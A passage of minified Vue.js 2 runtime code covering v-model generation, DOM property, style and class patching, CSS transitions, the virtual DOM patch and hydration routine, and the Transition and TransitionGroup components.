    }
    function Hr(e, t, n) {
        var r = n || {}
          , i = r.number
          , o = "$$v";
        r.trim && (o = "(typeof $$v === 'string'? $$v.trim(): $$v)"),
        i && (o = "_n(" + o + ")");
        var a = Br(t, o);
        e.model = {
            value: "(" + t + ")",
            expression: JSON.stringify(t),
            callback: "function ($$v) {" + a + "}"
        }
    }
    function Br(e, t) {
        var n = function(e) {
            if (e = e.trim(),
            gr = e.length,
            e.indexOf("[") < 0 || e.lastIndexOf("]") < gr - 1)
                return ($r = e.lastIndexOf(".")) > -1 ? {
                    exp: e.slice(0, $r),
                    key: '"' + e.slice($r + 1) + '"'
                } : {
                    exp: e,
                    key: null
                };
            _r = e,
            $r = wr = Cr = 0;
            for (; !zr(); )
                Vr(br = Ur()) ? Jr(br) : 91 === br && Kr(br);
            return {
                exp: e.slice(0, wr),
                key: e.slice(wr + 1, Cr)
            }
        }(e);
        return null === n.key ? e + "=" + t : "$set(" + n.exp + ", " + n.key + ", " + t + ")"
    }
    function Ur() {
        return _r.charCodeAt(++$r)
    }
    function zr() {
        return $r >= gr
    }
    function Vr(e) {
        return 34 === e || 39 === e
    }
    function Kr(e) {
        var t = 1;
        for (wr = $r; !zr(); )
            if (Vr(e = Ur()))
                Jr(e);
            else if (91 === e && t++,
            93 === e && t--,
            0 === t) {
                Cr = $r;
                break
            }
    }
    function Jr(e) {
        for (var t = e; !zr() && (e = Ur()) !== t; )
            ;
    }
    var qr, Wr = "__r", Zr = "__c";
    function Gr(e, t, n) {
        var r = qr;
        return function i() {
            null !== t.apply(null, arguments) && Qr(e, i, n, r)
        }
    }
    var Xr = Ve && !(X && Number(X[1]) <= 53);
    function Yr(e, t, n, r) {
        if (Xr) {
            var i = an
              , o = t;
            t = o._wrapper = function(e) {
                if (e.target === e.currentTarget || e.timeStamp >= i || e.timeStamp <= 0 || e.target.ownerDocument !== document)
                    return o.apply(this, arguments)
            }
        }
        qr.addEventListener(e, t, Q ? {
            capture: n,
            passive: r
        } : n)
    }
    function Qr(e, t, n, r) {
        (r || qr).removeEventListener(e, t._wrapper || t, n)
    }
    function ei(e, r) {
        if (!t(e.data.on) || !t(r.data.on)) {
            var i = r.data.on || {}
              , o = e.data.on || {};
            qr = r.elm,
            function(e) {
                if (n(e[Wr])) {
                    var t = q ? "change" : "input";
                    e[t] = [].concat(e[Wr], e[t] || []),
                    delete e[Wr]
                }
                n(e[Zr]) && (e.change = [].concat(e[Zr], e.change || []),
                delete e[Zr])
            }(i),
            rt(i, o, Yr, Qr, Gr, r.context),
            qr = void 0
        }
    }
    var ti, ni = {
        create: ei,
        update: ei
    };
    function ri(e, r) {
        if (!t(e.data.domProps) || !t(r.data.domProps)) {
            var i, o, a = r.elm, s = e.data.domProps || {}, c = r.data.domProps || {};
            for (i in n(c.__ob__) && (c = r.data.domProps = A({}, c)),
            s)
                i in c || (a[i] = "");
            for (i in c) {
                if (o = c[i],
                "textContent" === i || "innerHTML" === i) {
                    if (r.children && (r.children.length = 0),
                    o === s[i])
                        continue;
                    1 === a.childNodes.length && a.removeChild(a.childNodes[0])
                }
                if ("value" === i && "PROGRESS" !== a.tagName) {
                    a._value = o;
                    var u = t(o) ? "" : String(o);
                    ii(a, u) && (a.value = u)
                } else if ("innerHTML" === i && qn(a.tagName) && t(a.innerHTML)) {
                    (ti = ti || document.createElement("div")).innerHTML = "<svg>" + o + "</svg>";
                    for (var l = ti.firstChild; a.firstChild; )
                        a.removeChild(a.firstChild);
                    for (; l.firstChild; )
                        a.appendChild(l.firstChild)
                } else if (o !== s[i])
                    try {
                        a[i] = o
                    } catch (e) {}
            }
        }
    }
    function ii(e, t) {
        return !e.composing && ("OPTION" === e.tagName || function(e, t) {
            var n = !0;
            try {
                n = document.activeElement !== e
            } catch (e) {}
            return n && e.value !== t
        }(e, t) || function(e, t) {
            var r = e.value
              , i = e._vModifiers;
            if (n(i)) {
                if (i.number)
                    return f(r) !== f(t);
                if (i.trim)
                    return r.trim() !== t.trim()
            }
            return r !== t
        }(e, t))
    }
    var oi = {
        create: ri,
        update: ri
    }
      , ai = g(function(e) {
        var t = {}
          , n = /:(.+)/;
        return e.split(/;(?![^(]*\))/g).forEach(function(e) {
            if (e) {
                var r = e.split(n);
                r.length > 1 && (t[r[0].trim()] = r[1].trim())
            }
        }),
        t
    });
    function si(e) {
        var t = ci(e.style);
        return e.staticStyle ? A(e.staticStyle, t) : t
    }
    function ci(e) {
        return Array.isArray(e) ? O(e) : "string" == typeof e ? ai(e) : e
    }
    var ui, li = /^--/, fi = /\s*!important$/, pi = function(e, t, n) {
        if (li.test(t))
            e.style.setProperty(t, n);
        else if (fi.test(n))
            e.style.setProperty(C(t), n.replace(fi, ""), "important");
        else {
            var r = vi(t);
            if (Array.isArray(n))
                for (var i = 0, o = n.length; i < o; i++)
                    e.style[r] = n[i];
            else
                e.style[r] = n
        }
    }, di = ["Webkit", "Moz", "ms"], vi = g(function(e) {
        if (ui = ui || document.createElement("div").style,
        "filter" !== (e = b(e)) && e in ui)
            return e;
        for (var t = e.charAt(0).toUpperCase() + e.slice(1), n = 0; n < di.length; n++) {
            var r = di[n] + t;
            if (r in ui)
                return r
        }
    });
    function hi(e, r) {
        var i = r.data
          , o = e.data;
        if (!(t(i.staticStyle) && t(i.style) && t(o.staticStyle) && t(o.style))) {
            var a, s, c = r.elm, u = o.staticStyle, l = o.normalizedStyle || o.style || {}, f = u || l, p = ci(r.data.style) || {};
            r.data.normalizedStyle = n(p.__ob__) ? A({}, p) : p;
            var d = function(e, t) {
                var n, r = {};
                if (t)
                    for (var i = e; i.componentInstance; )
                        (i = i.componentInstance._vnode) && i.data && (n = si(i.data)) && A(r, n);
                (n = si(e.data)) && A(r, n);
                for (var o = e; o = o.parent; )
                    o.data && (n = si(o.data)) && A(r, n);
                return r
            }(r, !0);
            for (s in f)
                t(d[s]) && pi(c, s, "");
            for (s in d)
                (a = d[s]) !== f[s] && pi(c, s, null == a ? "" : a)
        }
    }
    var mi = {
        create: hi,
        update: hi
    }
      , yi = /\s+/;
    function gi(e, t) {
        if (t && (t = t.trim()))
            if (e.classList)
                t.indexOf(" ") > -1 ? t.split(yi).forEach(function(t) {
                    return e.classList.add(t)
                }) : e.classList.add(t);
            else {
                var n = " " + (e.getAttribute("class") || "") + " ";
                n.indexOf(" " + t + " ") < 0 && e.setAttribute("class", (n + t).trim())
            }
    }
    function _i(e, t) {
        if (t && (t = t.trim()))
            if (e.classList)
                t.indexOf(" ") > -1 ? t.split(yi).forEach(function(t) {
                    return e.classList.remove(t)
                }) : e.classList.remove(t),
                e.classList.length || e.removeAttribute("class");
            else {
                for (var n = " " + (e.getAttribute("class") || "") + " ", r = " " + t + " "; n.indexOf(r) >= 0; )
                    n = n.replace(r, " ");
                (n = n.trim()) ? e.setAttribute("class", n) : e.removeAttribute("class")
            }
    }
    function bi(e) {
        if (e) {
            if ("object" == typeof e) {
                var t = {};
                return !1 !== e.css && A(t, $i(e.name || "v")),
                A(t, e),
                t
            }
            return "string" == typeof e ? $i(e) : void 0
        }
    }
    var $i = g(function(e) {
        return {
            enterClass: e + "-enter",
            enterToClass: e + "-enter-to",
            enterActiveClass: e + "-enter-active",
            leaveClass: e + "-leave",
            leaveToClass: e + "-leave-to",
            leaveActiveClass: e + "-leave-active"
        }
    })
      , wi = z && !W
      , Ci = "transition"
      , xi = "animation"
      , ki = "transition"
      , Ai = "transitionend"
      , Oi = "animation"
      , Si = "animationend";
    wi && (void 0 === window.ontransitionend && void 0 !== window.onwebkittransitionend && (ki = "WebkitTransition",
    Ai = "webkitTransitionEnd"),
    void 0 === window.onanimationend && void 0 !== window.onwebkitanimationend && (Oi = "WebkitAnimation",
    Si = "webkitAnimationEnd"));
    var Ti = z ? window.requestAnimationFrame ? window.requestAnimationFrame.bind(window) : setTimeout : function(e) {
        return e()
    }
    ;
    function Ei(e) {
        Ti(function() {
            Ti(e)
        })
    }
    function Ni(e, t) {
        var n = e._transitionClasses || (e._transitionClasses = []);
        n.indexOf(t) < 0 && (n.push(t),
        gi(e, t))
    }
    function ji(e, t) {
        e._transitionClasses && h(e._transitionClasses, t),
        _i(e, t)
    }
    function Di(e, t, n) {
        var r = Mi(e, t)
          , i = r.type
          , o = r.timeout
          , a = r.propCount;
        if (!i)
            return n();
        var s = i === Ci ? Ai : Si
          , c = 0
          , u = function() {
            e.removeEventListener(s, l),
            n()
        }
          , l = function(t) {
            t.target === e && ++c >= a && u()
        };
        setTimeout(function() {
            c < a && u()
        }, o + 1),
        e.addEventListener(s, l)
    }
    var Li = /\b(transform|all)(,|$)/;
    function Mi(e, t) {
        var n, r = window.getComputedStyle(e), i = (r[ki + "Delay"] || "").split(", "), o = (r[ki + "Duration"] || "").split(", "), a = Ii(i, o), s = (r[Oi + "Delay"] || "").split(", "), c = (r[Oi + "Duration"] || "").split(", "), u = Ii(s, c), l = 0, f = 0;
        return t === Ci ? a > 0 && (n = Ci,
        l = a,
        f = o.length) : t === xi ? u > 0 && (n = xi,
        l = u,
        f = c.length) : f = (n = (l = Math.max(a, u)) > 0 ? a > u ? Ci : xi : null) ? n === Ci ? o.length : c.length : 0,
        {
            type: n,
            timeout: l,
            propCount: f,
            hasTransform: n === Ci && Li.test(r[ki + "Property"])
        }
    }
    function Ii(e, t) {
        for (; e.length < t.length; )
            e = e.concat(e);
        return Math.max.apply(null, t.map(function(t, n) {
            return Fi(t) + Fi(e[n])
        }))
    }
    function Fi(e) {
        return 1e3 * Number(e.slice(0, -1).replace(",", "."))
    }
    function Pi(e, r) {
        var i = e.elm;
        n(i._leaveCb) && (i._leaveCb.cancelled = !0,
        i._leaveCb());
        var a = bi(e.data.transition);
        if (!t(a) && !n(i._enterCb) && 1 === i.nodeType) {
            for (var s = a.css, c = a.type, u = a.enterClass, l = a.enterToClass, p = a.enterActiveClass, d = a.appearClass, v = a.appearToClass, h = a.appearActiveClass, m = a.beforeEnter, y = a.enter, g = a.afterEnter, _ = a.enterCancelled, b = a.beforeAppear, $ = a.appear, w = a.afterAppear, C = a.appearCancelled, x = a.duration, k = Wt, A = Wt.$vnode; A && A.parent; )
                k = A.context,
                A = A.parent;
            var O = !k._isMounted || !e.isRootInsert;
            if (!O || $ || "" === $) {
                var S = O && d ? d : u
                  , T = O && h ? h : p
                  , E = O && v ? v : l
                  , N = O && b || m
                  , j = O && "function" == typeof $ ? $ : y
                  , L = O && w || g
                  , M = O && C || _
                  , I = f(o(x) ? x.enter : x)
                  , F = !1 !== s && !W
                  , P = Bi(j)
                  , R = i._enterCb = D(function() {
                    F && (ji(i, E),
                    ji(i, T)),
                    R.cancelled ? (F && ji(i, S),
                    M && M(i)) : L && L(i),
                    i._enterCb = null
                });
                e.data.show || it(e, "insert", function() {
                    var t = i.parentNode
                      , n = t && t._pending && t._pending[e.key];
                    n && n.tag === e.tag && n.elm._leaveCb && n.elm._leaveCb(),
                    j && j(i, R)
                }),
                N && N(i),
                F && (Ni(i, S),
                Ni(i, T),
                Ei(function() {
                    ji(i, S),
                    R.cancelled || (Ni(i, E),
                    P || (Hi(I) ? setTimeout(R, I) : Di(i, c, R)))
                })),
                e.data.show && (r && r(),
                j && j(i, R)),
                F || P || R()
            }
        }
    }
    function Ri(e, r) {
        var i = e.elm;
        n(i._enterCb) && (i._enterCb.cancelled = !0,
        i._enterCb());
        var a = bi(e.data.transition);
        if (t(a) || 1 !== i.nodeType)
            return r();
        if (!n(i._leaveCb)) {
            var s = a.css
              , c = a.type
              , u = a.leaveClass
              , l = a.leaveToClass
              , p = a.leaveActiveClass
              , d = a.beforeLeave
              , v = a.leave
              , h = a.afterLeave
              , m = a.leaveCancelled
              , y = a.delayLeave
              , g = a.duration
              , _ = !1 !== s && !W
              , b = Bi(v)
              , $ = f(o(g) ? g.leave : g)
              , w = i._leaveCb = D(function() {
                i.parentNode && i.parentNode._pending && (i.parentNode._pending[e.key] = null),
                _ && (ji(i, l),
                ji(i, p)),
                w.cancelled ? (_ && ji(i, u),
                m && m(i)) : (r(),
                h && h(i)),
                i._leaveCb = null
            });
            y ? y(C) : C()
        }
        function C() {
            w.cancelled || (!e.data.show && i.parentNode && ((i.parentNode._pending || (i.parentNode._pending = {}))[e.key] = e),
            d && d(i),
            _ && (Ni(i, u),
            Ni(i, p),
            Ei(function() {
                ji(i, u),
                w.cancelled || (Ni(i, l),
                b || (Hi($) ? setTimeout(w, $) : Di(i, c, w)))
            })),
            v && v(i, w),
            _ || b || w())
        }
    }
    function Hi(e) {
        return "number" == typeof e && !isNaN(e)
    }
    function Bi(e) {
        if (t(e))
            return !1;
        var r = e.fns;
        return n(r) ? Bi(Array.isArray(r) ? r[0] : r) : (e._length || e.length) > 1
    }
    function Ui(e, t) {
        !0 !== t.data.show && Pi(t)
    }
    var zi = function(e) {
        var o, a, s = {}, c = e.modules, u = e.nodeOps;
        for (o = 0; o < rr.length; ++o)
            for (s[rr[o]] = [],
            a = 0; a < c.length; ++a)
                n(c[a][rr[o]]) && s[rr[o]].push(c[a][rr[o]]);
        function l(e) {
            var t = u.parentNode(e);
            n(t) && u.removeChild(t, e)
        }
        function f(e, t, i, o, a, c, l) {
            if (n(e.elm) && n(c) && (e = c[l] = me(e)),
            e.isRootInsert = !a,
            !function(e, t, i, o) {
                var a = e.data;
                if (n(a)) {
                    var c = n(e.componentInstance) && a.keepAlive;
                    if (n(a = a.hook) && n(a = a.init) && a(e, !1),
                    n(e.componentInstance))
                        return d(e, t),
                        v(i, e.elm, o),
                        r(c) && function(e, t, r, i) {
                            for (var o, a = e; a.componentInstance; )
                                if (a = a.componentInstance._vnode,
                                n(o = a.data) && n(o = o.transition)) {
                                    for (o = 0; o < s.activate.length; ++o)
                                        s.activate[o](nr, a);
                                    t.push(a);
                                    break
                                }
                            v(r, e.elm, i)
                        }(e, t, i, o),
                        !0
                }
            }(e, t, i, o)) {
                var f = e.data
                  , p = e.children
                  , m = e.tag;
                n(m) ? (e.elm = e.ns ? u.createElementNS(e.ns, m) : u.createElement(m, e),
                g(e),
                h(e, p, t),
                n(f) && y(e, t),
                v(i, e.elm, o)) : r(e.isComment) ? (e.elm = u.createComment(e.text),
                v(i, e.elm, o)) : (e.elm = u.createTextNode(e.text),
                v(i, e.elm, o))
            }
        }
        function d(e, t) {
            n(e.data.pendingInsert) && (t.push.apply(t, e.data.pendingInsert),
            e.data.pendingInsert = null),
            e.elm = e.componentInstance.$el,
            m(e) ? (y(e, t),
            g(e)) : (tr(e),
            t.push(e))
        }
        function v(e, t, r) {
            n(e) && (n(r) ? u.parentNode(r) === e && u.insertBefore(e, t, r) : u.appendChild(e, t))
        }
        function h(e, t, n) {
            if (Array.isArray(t))
                for (var r = 0; r < t.length; ++r)
                    f(t[r], n, e.elm, null, !0, t, r);
            else
                i(e.text) && u.appendChild(e.elm, u.createTextNode(String(e.text)))
        }
        function m(e) {
            for (; e.componentInstance; )
                e = e.componentInstance._vnode;
            return n(e.tag)
        }
        function y(e, t) {
            for (var r = 0; r < s.create.length; ++r)
                s.create[r](nr, e);
            n(o = e.data.hook) && (n(o.create) && o.create(nr, e),
            n(o.insert) && t.push(e))
        }
        function g(e) {
            var t;
            if (n(t = e.fnScopeId))
                u.setStyleScope(e.elm, t);
            else
                for (var r = e; r; )
                    n(t = r.context) && n(t = t.$options._scopeId) && u.setStyleScope(e.elm, t),
                    r = r.parent;
            n(t = Wt) && t !== e.context && t !== e.fnContext && n(t = t.$options._scopeId) && u.setStyleScope(e.elm, t)
        }
        function _(e, t, n, r, i, o) {
            for (; r <= i; ++r)
                f(n[r], o, e, t, !1, n, r)
        }
        function b(e) {
            var t, r, i = e.data;
            if (n(i))
                for (n(t = i.hook) && n(t = t.destroy) && t(e),
                t = 0; t < s.destroy.length; ++t)
                    s.destroy[t](e);
            if (n(t = e.children))
                for (r = 0; r < e.children.length; ++r)
                    b(e.children[r])
        }
        function $(e, t, r) {
            for (; t <= r; ++t) {
                var i = e[t];
                n(i) && (n(i.tag) ? (w(i),
                b(i)) : l(i.elm))
            }
        }
        function w(e, t) {
            if (n(t) || n(e.data)) {
                var r, i = s.remove.length + 1;
                for (n(t) ? t.listeners += i : t = function(e, t) {
                    function n() {
                        0 == --n.listeners && l(e)
                    }
                    return n.listeners = t,
                    n
                }(e.elm, i),
                n(r = e.componentInstance) && n(r = r._vnode) && n(r.data) && w(r, t),
                r = 0; r < s.remove.length; ++r)
                    s.remove[r](e, t);
                n(r = e.data.hook) && n(r = r.remove) ? r(e, t) : t()
            } else
                l(e.elm)
        }
        function C(e, t, r, i) {
            for (var o = r; o < i; o++) {
                var a = t[o];
                if (n(a) && ir(e, a))
                    return o
            }
        }
        function x(e, i, o, a, c, l) {
            if (e !== i) {
                n(i.elm) && n(a) && (i = a[c] = me(i));
                var p = i.elm = e.elm;
                if (r(e.isAsyncPlaceholder))
                    n(i.asyncFactory.resolved) ? O(e.elm, i, o) : i.isAsyncPlaceholder = !0;
                else if (r(i.isStatic) && r(e.isStatic) && i.key === e.key && (r(i.isCloned) || r(i.isOnce)))
                    i.componentInstance = e.componentInstance;
                else {
                    var d, v = i.data;
                    n(v) && n(d = v.hook) && n(d = d.prepatch) && d(e, i);
                    var h = e.children
                      , y = i.children;
                    if (n(v) && m(i)) {
                        for (d = 0; d < s.update.length; ++d)
                            s.update[d](e, i);
                        n(d = v.hook) && n(d = d.update) && d(e, i)
                    }
                    t(i.text) ? n(h) && n(y) ? h !== y && function(e, r, i, o, a) {
                        for (var s, c, l, p = 0, d = 0, v = r.length - 1, h = r[0], m = r[v], y = i.length - 1, g = i[0], b = i[y], w = !a; p <= v && d <= y; )
                            t(h) ? h = r[++p] : t(m) ? m = r[--v] : ir(h, g) ? (x(h, g, o, i, d),
                            h = r[++p],
                            g = i[++d]) : ir(m, b) ? (x(m, b, o, i, y),
                            m = r[--v],
                            b = i[--y]) : ir(h, b) ? (x(h, b, o, i, y),
                            w && u.insertBefore(e, h.elm, u.nextSibling(m.elm)),
                            h = r[++p],
                            b = i[--y]) : ir(m, g) ? (x(m, g, o, i, d),
                            w && u.insertBefore(e, m.elm, h.elm),
                            m = r[--v],
                            g = i[++d]) : (t(s) && (s = or(r, p, v)),
                            t(c = n(g.key) ? s[g.key] : C(g, r, p, v)) ? f(g, o, e, h.elm, !1, i, d) : ir(l = r[c], g) ? (x(l, g, o, i, d),
                            r[c] = void 0,
                            w && u.insertBefore(e, l.elm, h.elm)) : f(g, o, e, h.elm, !1, i, d),
                            g = i[++d]);
                        p > v ? _(e, t(i[y + 1]) ? null : i[y + 1].elm, i, d, y, o) : d > y && $(r, p, v)
                    }(p, h, y, o, l) : n(y) ? (n(e.text) && u.setTextContent(p, ""),
                    _(p, null, y, 0, y.length - 1, o)) : n(h) ? $(h, 0, h.length - 1) : n(e.text) && u.setTextContent(p, "") : e.text !== i.text && u.setTextContent(p, i.text),
                    n(v) && n(d = v.hook) && n(d = d.postpatch) && d(e, i)
                }
            }
        }
        function k(e, t, i) {
            if (r(i) && n(e.parent))
                e.parent.data.pendingInsert = t;
            else
                for (var o = 0; o < t.length; ++o)
                    t[o].data.hook.insert(t[o])
        }
        var A = p("attrs,class,staticClass,staticStyle,key");
        function O(e, t, i, o) {
            var a, s = t.tag, c = t.data, u = t.children;
            if (o = o || c && c.pre,
            t.elm = e,
            r(t.isComment) && n(t.asyncFactory))
                return t.isAsyncPlaceholder = !0,
                !0;
            if (n(c) && (n(a = c.hook) && n(a = a.init) && a(t, !0),
            n(a = t.componentInstance)))
                return d(t, i),
                !0;
            if (n(s)) {
                if (n(u))
                    if (e.hasChildNodes())
                        if (n(a = c) && n(a = a.domProps) && n(a = a.innerHTML)) {
                            if (a !== e.innerHTML)
                                return !1
                        } else {
                            for (var l = !0, f = e.firstChild, p = 0; p < u.length; p++) {
                                if (!f || !O(f, u[p], i, o)) {
                                    l = !1;
                                    break
                                }
                                f = f.nextSibling
                            }
                            if (!l || f)
                                return !1
                        }
                    else
                        h(t, u, i);
                if (n(c)) {
                    var v = !1;
                    for (var m in c)
                        if (!A(m)) {
                            v = !0,
                            y(t, i);
                            break
                        }
                    !v && c.class && et(c.class)
                }
            } else
                e.data !== t.text && (e.data = t.text);
            return !0
        }
        return function(e, i, o, a) {
            if (!t(i)) {
                var c, l = !1, p = [];
                if (t(e))
                    l = !0,
                    f(i, p);
                else {
                    var d = n(e.nodeType);
                    if (!d && ir(e, i))
                        x(e, i, p, null, null, a);
                    else {
                        if (d) {
                            if (1 === e.nodeType && e.hasAttribute(L) && (e.removeAttribute(L),
                            o = !0),
                            r(o) && O(e, i, p))
                                return k(i, p, !0),
                                e;
                            c = e,
                            e = new pe(u.tagName(c).toLowerCase(),{},[],void 0,c)
                        }
                        var v = e.elm
                          , h = u.parentNode(v);
                        if (f(i, p, v._leaveCb ? null : h, u.nextSibling(v)),
                        n(i.parent))
                            for (var y = i.parent, g = m(i); y; ) {
                                for (var _ = 0; _ < s.destroy.length; ++_)
                                    s.destroy[_](y);
                                if (y.elm = i.elm,
                                g) {
                                    for (var w = 0; w < s.create.length; ++w)
                                        s.create[w](nr, y);
                                    var C = y.data.hook.insert;
                                    if (C.merged)
                                        for (var A = 1; A < C.fns.length; A++)
                                            C.fns[A]()
                                } else
                                    tr(y);
                                y = y.parent
                            }
                        n(h) ? $([e], 0, 0) : n(e.tag) && b(e)
                    }
                }
                return k(i, p, l),
                i.elm
            }
            n(e) && b(e)
        }
    }({
        nodeOps: Qn,
        modules: [mr, xr, ni, oi, mi, z ? {
            create: Ui,
            activate: Ui,
            remove: function(e, t) {
                !0 !== e.data.show ? Ri(e, t) : t()
            }
        } : {}].concat(pr)
    });
    W && document.addEventListener("selectionchange", function() {
        var e = document.activeElement;
        e && e.vmodel && Xi(e, "input")
    });
    var Vi = {
        inserted: function(e, t, n, r) {
            "select" === n.tag ? (r.elm && !r.elm._vOptions ? it(n, "postpatch", function() {
                Vi.componentUpdated(e, t, n)
            }) : Ki(e, t, n.context),
            e._vOptions = [].map.call(e.options, Wi)) : ("textarea" === n.tag || Xn(e.type)) && (e._vModifiers = t.modifiers,
            t.modifiers.lazy || (e.addEventListener("compositionstart", Zi),
            e.addEventListener("compositionend", Gi),
            e.addEventListener("change", Gi),
            W && (e.vmodel = !0)))
        },
        componentUpdated: function(e, t, n) {
            if ("select" === n.tag) {
                Ki(e, t, n.context);
                var r = e._vOptions
                  , i = e._vOptions = [].map.call(e.options, Wi);
                if (i.some(function(e, t) {
                    return !N(e, r[t])
                }))
                    (e.multiple ? t.value.some(function(e) {
                        return qi(e, i)
                    }) : t.value !== t.oldValue && qi(t.value, i)) && Xi(e, "change")
            }
        }
    };
    function Ki(e, t, n) {
        Ji(e, t, n),
        (q || Z) && setTimeout(function() {
            Ji(e, t, n)
        }, 0)
    }
    function Ji(e, t, n) {
        var r = t.value
          , i = e.multiple;
        if (!i || Array.isArray(r)) {
            for (var o, a, s = 0, c = e.options.length; s < c; s++)
                if (a = e.options[s],
                i)
                    o = j(r, Wi(a)) > -1,
                    a.selected !== o && (a.selected = o);
                else if (N(Wi(a), r))
                    return void (e.selectedIndex !== s && (e.selectedIndex = s));
            i || (e.selectedIndex = -1)
        }
    }
    function qi(e, t) {
        return t.every(function(t) {
            return !N(t, e)
        })
    }
    function Wi(e) {
        return "_value"in e ? e._value : e.value
    }
    function Zi(e) {
        e.target.composing = !0
    }
    function Gi(e) {
        e.target.composing && (e.target.composing = !1,
        Xi(e.target, "input"))
    }
    function Xi(e, t) {
        var n = document.createEvent("HTMLEvents");
        n.initEvent(t, !0, !0),
        e.dispatchEvent(n)
    }
    function Yi(e) {
        return !e.componentInstance || e.data && e.data.transition ? e : Yi(e.componentInstance._vnode)
    }
    var Qi = {
        model: Vi,
        show: {
            bind: function(e, t, n) {
                var r = t.value
                  , i = (n = Yi(n)).data && n.data.transition
                  , o = e.__vOriginalDisplay = "none" === e.style.display ? "" : e.style.display;
                r && i ? (n.data.show = !0,
                Pi(n, function() {
                    e.style.display = o
                })) : e.style.display = r ? o : "none"
            },
            update: function(e, t, n) {
                var r = t.value;
                !r != !t.oldValue && ((n = Yi(n)).data && n.data.transition ? (n.data.show = !0,
                r ? Pi(n, function() {
                    e.style.display = e.__vOriginalDisplay
                }) : Ri(n, function() {
                    e.style.display = "none"
                })) : e.style.display = r ? e.__vOriginalDisplay : "none")
            },
            unbind: function(e, t, n, r, i) {
                i || (e.style.display = e.__vOriginalDisplay)
            }
        }
    }
      , eo = {
        name: String,
        appear: Boolean,
        css: Boolean,
        mode: String,
        type: String,
        enterClass: String,
        leaveClass: String,
        enterToClass: String,
        leaveToClass: String,
        enterActiveClass: String,
        leaveActiveClass: String,
        appearClass: String,
        appearActiveClass: String,
        appearToClass: String,
        duration: [Number, String, Object]
    };
    function to(e) {
        var t = e && e.componentOptions;
        return t && t.Ctor.options.abstract ? to(zt(t.children)) : e
    }
    function no(e) {
        var t = {}
          , n = e.$options;
        for (var r in n.propsData)
            t[r] = e[r];
        var i = n._parentListeners;
        for (var o in i)
            t[b(o)] = i[o];
        return t
    }
    function ro(e, t) {
        if (/\d-keep-alive$/.test(t.tag))
            return e("keep-alive", {
                props: t.componentOptions.propsData
            })
    }
    var io = function(e) {
        return e.tag || Ut(e)
    }
      , oo = function(e) {
        return "show" === e.name
    }
      , ao = {
        name: "transition",
        props: eo,
        abstract: !0,
        render: function(e) {
            var t = this
              , n = this.$slots.default;
            if (n && (n = n.filter(io)).length) {
                var r = this.mode
                  , o = n[0];
                if (function(e) {
                    for (; e = e.parent; )
                        if (e.data.transition)
                            return !0
                }(this.$vnode))
                    return o;
                var a = to(o);
                if (!a)
                    return o;
                if (this._leaving)
                    return ro(e, o);
                var s = "__transition-" + this._uid + "-";
                a.key = null == a.key ? a.isComment ? s + "comment" : s + a.tag : i(a.key) ? 0 === String(a.key).indexOf(s) ? a.key : s + a.key : a.key;
                var c = (a.data || (a.data = {})).transition = no(this)
                  , u = this._vnode
                  , l = to(u);
                if (a.data.directives && a.data.directives.some(oo) && (a.data.show = !0),
                l && l.data && !function(e, t) {
                    return t.key === e.key && t.tag === e.tag
                }(a, l) && !Ut(l) && (!l.componentInstance || !l.componentInstance._vnode.isComment)) {
                    var f = l.data.transition = A({}, c);
                    if ("out-in" === r)
                        return this._leaving = !0,
                        it(f, "afterLeave", function() {
                            t._leaving = !1,
                            t.$forceUpdate()
                        }),
                        ro(e, o);
                    if ("in-out" === r) {
                        if (Ut(a))
                            return u;
                        var p, d = function() {
                            p()
                        };
                        it(c, "afterEnter", d),
                        it(c, "enterCancelled", d),
                        it(f, "delayLeave", function(e) {
                            p = e
                        })
                    }
                }
                return o
            }
        }
    }
      , so = A({
        tag: String,
        moveClass: String
    }, eo);
    function co(e) {
        e.elm._moveCb && e.elm._moveCb(),
        e.elm._enterCb && e.elm._enterCb()
    }
    function uo(e) {
        e.data.newPos = e.elm.getBoundingClientRect()
    }
    function lo(e) {
        var t = e.data.pos
          , n = e.data.newPos
          , r = t.left - n.left
          , i = t.top - n.top;
        if (r || i) {
            e.data.moved = !0;
            var o = e.elm.style;
            o.transform = o.WebkitTransform = "translate(" + r + "px," + i + "px)",
            o.transitionDuration = "0s"
        }
    }
    delete so.mode;
    var fo = {
        Transition: ao,
        TransitionGroup: {
            props: so,
            beforeMount: function() {
                var e = this
                  , t = this._update;
                this._update = function(n, r) {
                    var i = Zt(e);
                    e.__patch__(e._vnode, e.kept, !1, !0),
                    e._vnode = e.kept,
                    i(),
                    t.call(e, n, r)
                }
            },
            render: function(e) {
                for (var t = this.tag || this.$vnode.data.tag || "span", n = Object.create(null), r = this.prevChildren = this.children, i = this.$slots.default || [], o = this.children = [], a = no(this), s = 0; s < i.length; s++) {
                    var c = i[s];
                    c.tag && null != c.key && 0 !== String(c.key).indexOf("__vlist") && (o.push(c),
                    n[c.key] = c,
                    (c.data || (c.data = {})).transition = a)
                }
                if (r) {
                    for (var u = [], l = [], f = 0; f < r.length; f++) {
                        var p = r[f];
                        p.data.transition = a,
                        p.data.pos = p.elm.getBoundingClientRect(),
                        n[p.key] ? u.push(p) : l.push(p)
                    }
                    this.kept = e(t, null, u),
                    this.removed = l
                }
                return e(t, null, o)
            },
            updated: function() {
                var e = this.prevChildren
                  , t = this.moveClass || (this.name || "v") + "-move";
                e.length && this.hasMove(e[0].elm, t) && (e.forEach(co),
                e.forEach(uo),
                e.forEach(lo),
                this._reflow = document.body.offsetHeight,
                e.forEach(function(e) {
                    if (e.data.moved) {
                        var n = e.elm
                          , r = n.style;
                        Ni(n, t),
                        r.transform = r.WebkitTransform = r.transitionDuration = "",
                        n.addEventListener(Ai, n._moveCb = function e(r) {
                            r && r.target !== n || r && !/transform$/.test(r.propertyName) || (n.removeEventListener(Ai, e),
                            n._moveCb = null,
                            ji(n, t))
                        }
                        )
                    }
                }))
            },
            methods: {
                hasMove: function(e, t) {
                    if (!wi)
                        return !1;
                    if (this._hasMove)
                        return this._hasMove;
                    var n = e.cloneNode();
                    e._transitionClasses && e._transitionClasses.forEach(function(e) {
                        _i(n, e)
                    }),
                    gi(n, t),
                    n.style.display = "none",
                    this.$el.appendChild(n);
                    var r = Mi(n);
                    return this.$el.removeChild(n),
                    this._hasMove = r.hasTransform
                }
            }
        }
    };
    wn.config.mustUseProp = jn,
    wn.config.isReservedTag = Wn,
    wn.config.isReservedAttr = En,
    wn.config.getTagNamespace = Zn,
    wn.config.isUnknownElement = function(e) {
        if (!z)
            return !0;
        if (Wn(e))
            return !1;
        if (e = e.toLowerCase(),
        null != Gn[e])
            return Gn[e];
        var t = document.createElement(e);
